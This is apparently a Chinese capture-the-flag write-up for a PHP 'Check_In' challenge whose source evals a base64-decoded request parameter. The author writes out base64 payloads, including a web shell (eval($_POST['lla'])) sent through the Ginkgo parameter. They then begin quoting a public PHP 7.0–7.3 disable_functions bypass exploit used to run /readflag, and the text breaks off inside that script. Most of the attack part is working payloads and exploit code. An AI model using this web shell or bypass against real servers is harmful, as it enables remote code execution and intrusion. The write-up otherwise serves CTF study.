0x00 知识点
任意文件写入漏洞,部分过滤的绕过
0x01 解题过程
打开一看,代码审计
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];//可以传参
$this->decode = @base64_decode( $this->code );//basae64解密一下传入内容
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
看到调用的魔法函数,起初以为是要考察反序列化,但是发现没有调用序列话函数,不过后来发现可以利用Ginkgo传参,可以直接写入到这个页面里,先写入一个phpinfo来看看效果,但是还需要用base64加密一下才可以
'phpinfo();'用base64加密后是 ‘cGhwaW5mbygpOw==’
构造payload
?Ginkgo=cGhwaW5mbygpOw==
效果如下
有很多的限制和禁用,那接下来写个木马试试
eval($_POST[‘lla’]);利用base64加密后ZXZhbCgkX1BPU1RbJ2xsYSddKQ==
构造payload
?Ginkgo=ZXZhbCgkX1BPU1RbJ2xsYSddKQ==
这里还是只能用蚁剑或者cknife连马(蚁剑这个工具是真的猛,我的蚁剑终于弄好了,所以我选择用c刀,有机会我会把这几个工具都上传一下。)
可以在根目录下看到flag,但是没法直接读取,但是有个readflag文件,那就是想办法执行这个文件不就行了,这里直接借用大佬的bypass脚本,我实在是写不出来,这里附上脚本链接
脚本内容
<?php
# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1
pwn("/readflag");//这里要修改到readflag的路径来来执行这个文件
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return